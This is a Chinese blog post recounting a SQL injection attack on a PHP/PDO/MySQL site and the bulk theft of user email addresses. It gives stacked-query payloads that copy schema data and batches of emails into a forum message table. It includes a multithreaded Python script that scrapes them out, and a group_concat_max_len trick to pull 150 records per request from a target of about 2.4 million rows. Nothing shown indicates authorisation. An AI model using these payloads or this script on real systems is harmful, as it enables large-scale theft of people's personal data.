记一次猥琐的脱裤
简介
环境
php+pdo+mysql+linux
FUCK IT
因为是pdo,所以支持多行,一开始只用了时间盲注跑了用户表的列出来,然后可以通过多行语句执行
updaet user set email=(select group_concat(table_name) from information_schema.columns where table_schema=database()) where id=1
快速查阅出表结构,然后发现一个message表可以存储大量内容,
通过
update message set content=(
select group_concat(email) from (select email from user limit 0,10)
) where id=1
来进行脱裤,然后因为是update操作,无法多线程,想到一个解决办法,发布了200个问题,
通过一个脚本进行对每一个问题的update 从而达到多线程操作
#coding=utf-8
import threading
import urllib2
import Queue
class inj(threading.Thread):
def __init__(self,count,queue):
threading.Thread.__init__(self)
self.id=count
self.queue=queue
self.obj=open('email/%s.log'%self.id,'w+')
def log(self,data):
f=open('email/%s.log'%self.id,'a+')
f.write(data+"\n")
f.close()
def errors(self,data):
f=open('errors/%s.log'%self.id,'a+')
f.write(data+"\n")
f.close()
def run(self):
id=self.id
while True:
try:
limit=self.queue.get(block=False)
except:
break
try:
url="http://127.0.0.1/id.php?id=%s&limit=%d"%(id,(limit*10))
data=urllib2.urlopen(url).read()
if '@' not in data:
self.errors("%s:%d"%(id,(limit*10)))
print "%s %s:%d Thread [INFO]"%(self.id,id,(limit*10))+data
self.log(data)
except:
pass
queue=Queue.Queue()
x=2362890/150
for i in xrange(x):
queue.put(i)
xth=[]
for i in range(681,831):
inj(str(i),queue).start()
大约托了6个小时左右,才托了60w左右的数据,目标240w,而且还存在遗漏数据,所以准备另寻他法。
我一直以为只能输出10个内容是因为列的类型是varchar(1024),所以无法输出更多,通过查阅资料发现
group_concat的长度是通过
SET group_concat_max_len =12221111212;
来控制的。
修改语句为
$query="select group_concat(Email) from (select Email from couponalert_new where Email!='' limit {$limit},150) as x";
$sql="';SET group_concat_max_len =12221111212;update community_question set Content=({$query}) where ID={$id};--";
达到一次150条,速度快了15倍。分分钟脱完。